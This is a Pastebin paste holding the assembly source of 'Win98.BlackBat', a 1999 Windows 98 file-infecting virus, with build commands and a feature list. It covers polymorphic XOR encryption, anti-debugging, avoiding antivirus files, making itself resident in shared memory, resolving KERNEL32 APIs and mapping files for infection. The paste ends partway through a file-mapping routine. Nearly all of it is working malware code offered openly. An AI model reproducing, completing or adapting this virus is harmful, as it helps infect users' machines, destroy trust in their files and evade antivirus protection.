Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | \|/ Win98.BlackBat | |
- ;| | (. .) ================ | |
- ;| | ( | ) | |
- ;| | ( v ) (c) 1999, Rohitab Batra | |
- ;| | __| |__ <sourcecode@rohitab.com> | |
- ;| | // \\ ICQ: 11153794 | |
- ;| | // ^ | |
- ;| | ((====> http://www.rohitab.com | |
- ;| | | |
- ;| | Discussion Forum: http://www.rohitab.com/discuss/ | |
- ;| | Mailing List: http://www.rohitab.com/mlist/ | |
- ;| | | |
- ;| | | |
- ;| |"Blessed is he who expects nothing, for he shall not be disappointed" | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ;
- ;Compiling (Turbo Assembler)
- ; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat
- ;
- ;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error
- ;message will be displayed, so that you don't accidently compile in release mode.
- ;In Release mode, the size of the Virus will be smaller, and .EXE files will be
- ;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found
- ;in the current directory, will be infected.
- ;
- ;Linking (Turbo Linker)
- ; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB
- ;
- ;Making Code Section Writable (EditBin from SDK, or any other utility)
- ; c:\>editbin /SECTION:CODE,w BlackBat.EXE
- ;
- ;***** Info About the Virus *****
- ;* If WIN.SYS is found in the root directory, the virus does not infect any file,
- ; and does not become resident.
- ;* File time and attributes are restored after infection
- ;* Encrypted with a random key
- ;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT
- ;* Anti-Debugging Code
- ;* Structured Exception Handling
- ;* Decryption engine is Polymorphic
- ;
- ;***** TODO *****
- ;1. Dont infect files with todays date
- ;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel)
- ;3. Doesn't infect files in directories with long file names
- .386p
- .model flat ,stdcall
- EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first
- ;generation copy executes without crashing
- .data
- DB ? ;Required for TASM, Else will Crash !!??
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | @MESSAGE_BOX Macro | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Displays a MessageBox with the given Message. Note the caption of
- ; the MessageBox is the same as the Message
- ;
- ; Arguments
- ; -> szMessage: Message to be displayed
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> ALL
- ;___________________________
- @MESSAGE_BOX MACRO szMessage
- IF DEBUG
- @DELTA esi
- mov eax, esi
- add eax, offset szMessage
- call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
- ENDIF
- ENDM
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | @DEFINE_API Macro | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Defines an API that will be called by the Virus. The macro is expanded
- ; to the following, if APIName is MessageBoxA:
- ; szMessageBoxA DB "MessageBoxA", 0
- ; MessageBoxA DD ?
- ;
- ; Arguments
- ; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
- ; the DLL. e.g. MessageBoxA
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> None
- ;
- ;________________________
- @DEFINE_API MACRO APIName
- sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API
- &APIName DD ? ;;Storage space for API Address
- ENDM
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | @DELTA Macro | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Returns the delta offset in the specified register
- ;
- ; Arguments
- ; -> Register: register in which the value of the delta offset is copied
- ;
- ; Return Value:
- ; -> Register: Delta Offset
- ;
- ; Registers Destroyed
- ; -> Register
- ;
- ;____________________
- @DELTA MACRO Register
- LOCAL GetIP
- call GetIP ;;This will push EIP on the stack
- GetIP:
- pop Register ;;get EIP of current instruction
- sub Register, offset GetIP ;;Delta Offset
- ENDM
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | @OFFSET Macro | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Returns the true offset of the specified address. Unlike the offset
- ; keyword, which calculates the address at assembly time, this macro
- ; calculates the address at run-time. This is used to get the correct
- ; offset when the virus has been relocated. Instead of using instructions
- ; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename"
- ;
- ; Arguments
- ; -> Register: register in which the offset is to be returned
- ; -> Expression: expression whose offset is required
- ;
- ; Return Value:
- ; -> Register: Correct offset of Expression
- ;
- ; Registers Destroyed
- ; -> Register
- ;
- ;_________________________________
- @OFFSET MACRO Register, Expression
- LOCAL GetIP
- call GetIP ;;This will push EIP on the stack
- GetIP:
- pop Register ;;get EIP of current instruction
- add Register, offset Expression - offset GetIP ;;True offset
- ENDM
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | @GET_API_ADDRESS Macro | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Gets the address of the API, and stores it
- ;
- ; Arguments
- ; -> APIName: API whose address is required
- ; -> ESI: Delta Offset
- ; -> EBX: Address of GetProcAddress(...)
- ; -> ECX: Base address of DLL which exports the API
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> All Except ESI, EBX and ECX
- ;
- ;_____________________________
- @GET_API_ADDRESS MACRO APIName
- push ebx ;;Save Addr of GetProcAddress(...)
- push ecx ;;Save Image Base
- mov eax, esi
- add eax, offset sz&APIName ;;API whose address is required
- call ebx, ecx, eax ;;GetProcAddress(...)
- pop ecx ;;Restore Image Base
- pop ebx ;;Restore Addr of GetProcAddress(...)
- mov [esi + APIName], eax ;;Save API Address
- ENDM
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> @TRY_BEGIN: This macro is used to install the exception handler. The
- ; code that follows this is the one that is checked for
- ; exceptions
- ; @TRY_EXCEPT: The code that follows this is executed if an exception
- ; occurs.
- ; @TRY_END: This is used to mark the end of the TRY block
- ;
- ; Example
- ; @TRY_BEGIN ZeroMemory
- ; <CODE1: Code to check for exceptions goes here>
- ; @TRY_CATCH ZeroMemory
- ; <CODE2: Gets executed if an exception occurs in CODE1>
- ; @TRY_END ZeroMemory
- ;
- ; Arguments
- ; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
- ; program
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> If an exception occurs, all registers are restored to the state before
- ; the @TRY_BEGIN block, otherwise, no registers are modified
- ;_______________________
- @TRY_BEGIN MACRO Handler
- pushad ;;Save Current State
- @OFFSET esi, Handler ;;Address of New Exception Handler
- push esi
- push dword ptr fs:[0] ;;Save Old Exception Handler
- mov dword ptr fs:[0], esp ;;Install New Handler
- ENDM
- @TRY_EXCEPT MACRO Handler
- jmp NoException&Handler ;;No Exception Occured, so jump over
- Handler:
- mov esp, [esp + 8] ;;Exception Occured, Get old ESP
- pop dword ptr fs:[0] ;;Restore Old Exception Handler
- add esp, 4 ;;ESP value before SEH was set
- popad ;;Restore Old State
- ENDM
- @TRY_END MACRO Handler
- jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT
- NoException&Handler: ;;No Exception Occured
- pop dword ptr fs:[0] ;;Restore Old Exception Handler
- add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ...
- ;;...4 for push offset Handler. (No Restore State)
- ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured
- ENDM
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | @CALL_INT21h Macro | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Makes an INT 21h Call in Protected Mode
- ;
- ; Arguments
- ; -> Service: INT 21h Service Number
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> Depends on Service called
- ;_________________________
- @CALL_INT21h MACRO Service
- mov eax, Service ;;INT 21h Service
- @DELTA esi
- call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
- ENDM
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | Constants | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ;Win32 Constants
- PAGE_READWRITE EQU 00000004h
- IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h
- IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable
- IMAGE_FILE_DLL EQU 2000h ;File is a DLL
- FILE_MAP_ALL_ACCESS EQU 000F001Fh
- IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes
- NULL EQU 0
- TRUE EQU 1
- FALSE EQU 0
- ;File Access
- GENERIC_READ EQU 80000000h ;Access Mode Read Only
- GENERIC_WRITE EQU 40000000h ;Access Mode Write Only
- FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write
- FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read
- INVALID_HANDLE_VALUE EQU -1
- ERROR_ALREADY_EXISTS EQU 000000B7h
- FILE_ATTRIBUTE_NORMAL EQU 00000080h
- OPEN_EXISTING EQU 3 ;Fail if not found
- ;Shutdown Options
- EWX_FORCE EQU 4
- EWX_SHUTDOWN EQU 1
- ;MessageBox
- MB_OK EQU 00000000h
- MB_YESNO EQU 00000004h
- MB_ICONINFORMATION EQU 00000040h
- ;Virus_Constants
- @BREAK EQU int 3
- ;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs
- VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975
- RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident
- RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident
- ;VxD Stuff
- VWIN32_Int21Dispatch EQU 002A0010h
- LFN_OPEN_FILE_EXTENDED EQU 716Ch
- PC_WRITEABLE EQU 00020000h
- PC_USER EQU 00040000h
- PR_SHARED EQU 80060000h
- PC_PRESENT EQU 80000000h
- PC_FIXED EQU 00000008h
- PD_ZEROINIT EQU 00000001h
- SHARED_MEMORY EQU 80000000h ;Anything above this is shared
- PageReserve EQU 00010000h
- PageCommit EQU 00010001h
- PAGE_SIZE EQU 4096 ;Size of a Page in Win9x
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | Structures | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- FILETIME STRUC
- FT_dwLowDateTime DD ?
- FT_dwHighDateTime DD ?
- FILETIME ENDS
- IMAGE_DOS_HEADER STRUC ;DOS .EXE header
- IDH_e_magic DW ? ;Magic number
- IDH_e_cblp DW ? ;Bytes on last page of file
- IDH_e_cp DW ? ;Pages in file
- IDH_e_crlc DW ? ;Relocations
- IDH_e_cparhdr DW ? ;Size of header in paragraphs
- IDH_e_minalloc DW ? ;Minimum extra paragraphs needed
- IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed
- IDH_e_ss DW ? ;Initial (relative) SS value
- IDH_e_sp DW ? ;Initial SP value
- IDH_e_csum DW ? ;Checksum
- IDH_e_ip DW ? ;Initial IP value
- IDH_e_cs DW ? ;Initial (relative) CS value
- IDH_e_lfarlc DW ? ;File address of relocation table
- IDH_e_ovno DW ? ;Overlay number
- IDH_e_res DW 4 DUP (?) ;Reserved words
- IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo)
- IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific
- IDH_e_res2 DW 10 DUP (?) ;Reserved words
- IDH_e_lfanew DD ? ;File address of new exe header
- IMAGE_DOS_HEADER ENDS
- IMAGE_FILE_HEADER STRUC
- IFH_Machine DW ? ;System that the binary is intended to run on
- IFH_NumberOfSections DW ? ;Number of sections that follow headers
- IFH_TimeDateStamp DD ? ;Time/Date the file was created on
- IFH_PointerToSymbolTable DD ? ;Used for debugging information
- IFH_NumberOfSymbols DD ? ;Used for debugging information
- IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER)
- IFH_Characteristics DW ? ;Flags used mostly for libraries
- IMAGE_FILE_HEADER ENDS
- IMAGE_DATA_DIRECTORY STRUC
- IDD_VirtualAddress DD ?
- IDD_Size DD ?
- IMAGE_DATA_DIRECTORY ENDS
- IMAGE_OPTIONAL_HEADER STRUC
- ;Standard Fields
- IOH_Magic DW ? ;Mostly 0x010B
- IOH_MajorLinkerVersion DB ? ;Version of the linker used
- IOH_MinorLinkerVersion DB ? ;Version of the linker used
- IOH_SizeOfCode DD ? ;Size of executable code
- IOH_SizeOfInitializedData DD ? ;Size of Data Segment
- IOH_SizeOfUninitializedData DD ? ;Size of bss Segment
- IOH_AddressOfEntryPoint DD ? ;RVA of code entry point
- IOH_BaseOfCode DD ? ;Offset to executable code
- IOH_BaseOfData DD ? ;Offset to initialized data
- ;NT Additional Fields
- IOH_ImageBase DD ? ;Preferred load address
- IOH_SectionAlignment DD ? ;Alignment of Sections in RAM
- IOH_FileAlignment DD ? ;Alignment of Sections in File
- IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image
- IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image
- IOH_MajorImageVersion DW ? ;User specified version number
- IOH_MinorImageVersion DW ? ;User specified version number
- IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version
- IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version
- IOH_Win32VersionValue DD ? ;Mostly set to 0
- IOH_SizeOfImage DD ? ;Amount of memory the image will need
- IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table
- IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers)
- IOH_Subsystem DW ? ;Subsystem required to run this image
- IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point
- IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack
- IOH_SizeOfStackCommit DD ? ;Size of initially commited stack
- IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve
- IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap
- IOH_LoaderFlags DD ? ;Not generally used
- IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory
- IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?)
- IMAGE_OPTIONAL_HEADER ENDS
- IMAGE_EXPORT_DIRECTORY STRUC
- IED_Characteristics DD ? ;Currently set to 0
- IED_TimeDateStamp DD ? ;Time/Date the export data was created
- IED_MajorVersion DW ? ;User settable
- IED_MinorVersion DW ?
- IED_Name DD ? ;RVA of DLL ASCIIZ name
- IED_Base DD ? ;First valid exported ordinal
- IED_NumberOfFunctions DD ? ;Number of entries
- IED_NumberOfNames DD ? ;Number of entries exported by name
- IED_AddressOfFunctions DD ? ;RVA of export address table
- IED_AddressOfNames DD ? ;RVA of export name table pointers
- IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry
- IMAGE_EXPORT_DIRECTORY ENDS
- IMAGE_SECTION_HEADER STRUC
- ISH_Name DB 8 DUP (?) ;NULL padded ASCII string
- UNION
- ISH_PhysicalAddress DD ?
- ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded
- ENDS
- ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM
- ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment
- ISH_PointerToRawData DD ? ;Offset from files beginning to sections data
- ISH_PointerToRelocations DD ?
- ISH_PointerToLinenumbers DD ?
- ISH_NumberOfRelocations DW ?
- ISH_NumberOfLinenumbers DW ?
- ISH_Characteristics DD ? ;Flags to decide how section should be treated
- IMAGE_SECTION_HEADER ENDS
- SYSTEMTIME STRUC
- ST_wYear DW ?
- ST_wMonth DW ?
- ST_wDayOfWeek DW ?
- ST_wDay DW ?
- ST_wHour DW ?
- ST_wMinute DW ?
- ST_wSecond DW ?
- ST_wMilliseconds DW ?
- SYSTEMTIME ENDS
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | Virus Entry Point | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- .code
- ;Decryptor
- StartOfVirusCode:
- call GetDelta
- GetDelta:
- DB 5Eh ;pop esi
- DB 83h ;add esi, EncryptedVirusCode - GetDelta
- DB 0C6h
- DB offset EncryptedVirusCode - offset GetDelta
- DB 0B9h ;mov ecx, ENCRYPTED_SIZE
- DD ENCRYPTED_SIZE
- DecryptByte:
- DB 80h ;xor byte ptr [esi], 00h
- DB 36h
- EncryptionKey:
- DB 00h
- DB 46h ;inc esi
- DB 49h ;dec ecx
- jnz DecryptByte
- EncryptedVirusCode: ;Code from this point is encrypted
- jmp WinMain ;Goto Main Program
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | Data Area | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL
- dwUserBase DD ? ;Base address of USER32.DLL
- szUser32DLL DB "USER32", 0 ;.DLL Extention is not required
- ;Host File Variables
- hHostFile DD ? ;Handle of host file
- hMappedFile DD ? ;Handle of mapped host file
- lpHostFile DD ? ;Pointer to mapped host file in memory
- ftLastAccessTime FILETIME ? ;Time the file was last accessed
- ftLastWriteTime FILETIME ? ;Time the file was last written to
- dwFileAttributes DD ? ;File attributes of host file
- ;Virus Variables
- szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected
- ;VxD Stuff
- OldInt30 DB 6 DUP (0)
- VxDCall_Busy DB ? ;Semaphore
- szOutputFile DB "C:\VIRUS.TXT", 0
- ;KERNEL32 API's
- VxDCall DD ? ;Exported by ordinal only (Ord 1)
- @DEFINE_API GetProcAddress
- @DEFINE_API CloseHandle
- @DEFINE_API CreateFileA
- @DEFINE_API CreateFileMappingA
- @DEFINE_API GetFileAttributesA
- @DEFINE_API GetFileSize
- @DEFINE_API GetFileTime
- @DEFINE_API GetLocalTime
- @DEFINE_API GetTickCount
- @DEFINE_API LoadLibraryA
- @DEFINE_API MapViewOfFile
- @DEFINE_API SetFileAttributesA
- @DEFINE_API SetFileTime
- @DEFINE_API UnmapViewOfFile
- ;USER32 API's
- @DEFINE_API ExitWindowsEx
- IF DEBUG
- @DEFINE_API MessageBoxA
- ENDIF
- ;DEBUG Only Stuff
- IF DEBUG
- szHostFileName DB "NOTEPAD.EXE",0
- szWinMainHandler DB "Unhandled Exception in WinMain", 0
- szPayLoad DB "Happy BirthDay :-)", 0
- szInfected DB "This File is Infected by the BlackBat Virus", 0
- ENDIF
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | WinMain | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- WinMain PROC
- IFE DEBUG ;Only for Release Versions
- cli
- not esp ;Anti-Debug Code ...
- not esp ;...will crash if single-stepped
- sti
- ENDIF
- @TRY_BEGIN WinMain_Handler ;Putting code in protected block
- call IsVirusActive
- test eax, eax ;Virus Resident ?
- jne End_WinMain ;Yes, return to host
- ;Get Addresses of all Required API's
- call GetAPIAddresses ;Get the addresses of the other API's
- test eax, eax ;Error occured ?
- jz End_WinMain ;Transfer control to host
- IF DEBUG
- @MESSAGE_BOX szInfected
- @OFFSET ebx, szHostFileName
- call InfectFile, ebx
- ENDIF
- ;Check if this Machine is to be Infected
- call CanMachineBeInfected ;Is this my machine
- test eax, eax
- jz End_WinMain ;Yes, so don't infect
- ;Relocate Virus (Make Resident)
- call RelocateVirus
- or eax, eax ;Virus Relocated?
- je End_WinMain ;No
- ;Jump to Relocated Virus Copy
- @OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy
- add eax, offset RelocatedVirus - offset StartOfVirusCode
- jmp eax ;Control will go to Relocated Copy
- ;This part is the Relocated Copy of the Virus in Shared Memory
- RelocatedVirus:
- ;When a file is infected, the CALL instruction at label ReturnToHost is
- ;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated,
- ;this JMP instruction will point to some invalid location. We need to modify
- ;this, so that the JMP points to the host program (which was not relocated)
- ;The offset of Calculate_Offset_Instruction in the non-relocated virus was
- ;saved in EBX before jumping here. Now we calculate the offset in the relocated
- ;virus (this copy).
- @DELTA eax
- mov esi, eax ;Save Delta Offset
- add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy
- sub eax, ebx ;Difference in offsets
- ;We now subtract this difference from the offset specified in the JMP
- ;instruction, and update the JMP instruction to point to the correct location
- ;in memory
- add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction
- sub [esi], eax ;Fix JMP instruction
- call InstallHookProcedure
- End_WinMain:
- @TRY_EXCEPT WinMain_Handler
- @MESSAGE_BOX szWinMainHandler
- @TRY_END WinMain_Handler
- ReturnToHost:
- DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control
- ;to the host. The address of this JMP
- ;instruction is calculated at run-time
- ;ret ;Not required, since control is transfered to host
- WinMain ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | GetAPIAddresses | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Finds the Address of the API's to be used by the virus
- ;
- ; Arguments
- ; -> None
- ;
- ; Return Value:
- ; -> EAX: 1, if the API addresses were found, 0 otherwise
- ;
- ; Registers Destroyed
- ; -> All
- ;___________________
- GetAPIAddresses PROC
- call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress
- test eax, eax ;Found Address ?
- jz End_GetAPIAddresses ;No, Return 0
- ;Get addresses of all required KERNEL32 API's
- ;ESI = Delta Offset
- ;EBX = Address of GetProcAddress(...)
- ;ECX = Image Base of KERNEL32.DLL
- @DELTA esi
- mov ebx, eax ;Address of GetProcAddress(...)
- mov ecx, dwKernelBase ;Base address of KERNEL32.DLL
- @GET_API_ADDRESS CloseHandle
- @GET_API_ADDRESS CreateFileA
- @GET_API_ADDRESS CreateFileMappingA
- @GET_API_ADDRESS GetFileAttributesA
- @GET_API_ADDRESS GetFileSize
- @GET_API_ADDRESS GetFileTime
- @GET_API_ADDRESS GetLocalTime
- @GET_API_ADDRESS GetTickCount
- @GET_API_ADDRESS LoadLibraryA
- @GET_API_ADDRESS MapViewOfFile
- @GET_API_ADDRESS SetFileAttributesA
- @GET_API_ADDRESS SetFileTime
- @GET_API_ADDRESS UnmapViewOfFile
- ;Load USER32.DLL
- push ebx ;Save address of GetProcAddress(...)
- mov eax, esi ;Delta Offset
- add eax, offset szUser32DLL ;Name of DLL to be loaded
- call esi + LoadLibraryA, eax
- mov ecx, eax ;Base address of USER32.DLL
- pop ebx ;Restore address of GetProcAddress(...)
- ;Get addresses of all required USER32 API's
- ;ESI = Delta Offset
- ;EBX = Address of GetProcAddress(...)
- ;ECX = Image Base of USER32.DLL
- @GET_API_ADDRESS ExitWindowsEx
- IF DEBUG
- @GET_API_ADDRESS MessageBoxA
- ENDIF
- End_GetAPIAddresses:
- ret
- GetAPIAddresses ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | GetAddressOfKernelAPI | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
- ; VxDCall API is exported by ordinal only, and the GetProcAddress is
- ; exported by name.
- ;
- ; Arguments
- ; -> EDX: offset of the program <---- NOT USED ANYMORE ???
- ; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
- ; of GetProcAddress is returned.
- ;
- ; Return Value:
- ; -> EAX: Address of the Required API if Found, Else NULL
- ;
- ; Registers Destroyed
- ; -> All
- ;______________________________
- GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
- LOCAL lpdwAddressOfFunctions:DWORD, \
- lpdwAddressOfNames:DWORD, \
- lpwAddressOfNameOrdinals: WORD, \
- dwVAIED:DWORD
- ;Get File Headers
- call GetFileHeaders, dwKernelBase
- test eax, eax ;Successfully Retreived Headers?
- je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000
- mov [dwVAIED], edx
- mov esi, dwKernelBase
- ;Get Address of Functions
- mov ecx, [dwVAIED]
- mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
- add eax, esi ;VA of Address of functions
- mov dword ptr [lpdwAddressOfFunctions], eax
- ;Check which API is Required
- cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ?
- jne GetProcAddressRequired ;GetProcAddress
- ;Get Address of VxDCall API (Ordinal 1)
- xor eax, eax
- inc eax ;Ordinal Reqd = 1
- sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array
- jmp GetAddressFromIndex
- GetProcAddressRequired:
- ;Get Address of Names
- mov ecx, [dwVAIED]
- mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
- add eax, esi ;VA of Address of Names
- mov dword ptr [lpdwAddressOfNames], eax
- ;Get Address of Name ordinals
- mov ecx, [dwVAIED]
- mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
- add eax, esi ;VA of Add of Name Ordinals
- mov dword ptr [lpwAddressOfNameOrdinals], eax
- ;Find the API index in the AddressOfNames array
- push esi ;Save the base address of KERNEL32
- mov eax, esi ;Also save in EAX
- xor ebx, ebx
- dec ebx ;Initialize Index to -1
- mov edx, dword ptr [lpdwAddressOfNames]
- @OFFSET esi, szGetProcAddress ;API to be found
- mov ecx, esi ;Save address in ECX
- CheckNextAPI:
- inc ebx ;increment index
- mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index
- add edi, eax ;get the VA from the RVA
- mov esi, ecx ;get address stored previously
- CheckNextByte:
- cmpsb ;Check Byte
- jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One
- cmp byte ptr [edi], 0 ;Have we reached the end-of-string
- je FoundAPI ;Yes? We've found the API
- jmp CheckNextByte ;No, Check the next byte
- FoundAPI:
- ;EBX contains the index of the function into the array
- pop esi ;Get the base address of KERNEL32
- ;Compute the Index
- mov ecx, ebx
- mov edx, dword ptr [lpwAddressOfNameOrdinals]
- movzx eax, word ptr [edx + ecx*2] ;Index
- ;Get the Address (EAX = Index, ESI = Kernel32 Base)
- GetAddressFromIndex:
- mov ebx, [lpdwAddressOfFunctions]
- mov eax, dword ptr [ebx + eax*4] ;RVA of the API
- add eax, esi ;VA of the API
- End_GetAddressOfKernelAPI:
- ret
- GetAddressOfKernelAPI ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | OpenAndMapFile | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Opens a file from disk, and maps it into memory. The function also
- ; saves the file modified time and file attributes before opening the
- ; file. These are later restored by UnmapAndCloseFile
- ;
- ; Arguments
- ; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
- ; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
- ;
- ; Return Value:
- ; -> EAX: Starting address of memory where the file has been mapped, or 0
- ; if an error occured
- ; -> ECX: Original File Size
- ;
- ; Registers Destroyed
- ; -> All
- ;_______________________________________________________________
- OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
- @DELTA esi
- ;Save File Attributes, and Clear all attributes
- call esi + GetFileAttributesA, oamf_szFileName
- mov [esi + dwFileAttributes], eax ;Save File Attributes
- call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
- test eax, eax ;File Attributes Set ?
- je End_OpenAndMapFile ;No, Return 0
- ;Open the file in R/W mode
- call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
- FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
- cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
- je Error_OpenAndMapFile_Create ;No
- mov [esi + hHostFile], eax ;Yes, Save handle of host file
- ;Get and Store File Time
- lea ebx, [esi + ftLastAccessTime]
- lea ecx, [esi + ftLastWriteTime]
- call esi + GetFileTime, eax, NULL, ebx, ecx
- ;Compute the new file size
- call esi + GetFileSize, [esi + hHostFile], NULL
- add eax, [oamf_dwAddBytes] ;Compute New File Size
- ;Map the file
- call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
- 0, eax, NULL
- test eax, eax ;File Mapping Created
